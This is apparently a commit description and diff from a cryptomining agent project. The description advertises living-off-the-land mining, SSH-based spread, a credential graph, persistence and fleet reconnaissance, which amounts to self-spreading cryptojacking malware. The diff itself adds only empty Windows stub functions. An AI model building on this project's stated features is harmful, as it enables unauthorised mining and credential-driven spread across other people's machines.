Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/linux_lotl_stub.go

@@ -0,0 +1,9 @@
+//go:build windows
+
+package deploy
+
+import "crypto-miner-agent/config"
+
+func applyLinuxLOTLPersistence(_ config.RuntimeConfig, _ string) {}
+func sshSpreadStartCmd(remotePath string) string { return "" }
+func sshSpreadPersistCmd(_ config.RuntimeConfig, _ string) string { return "" }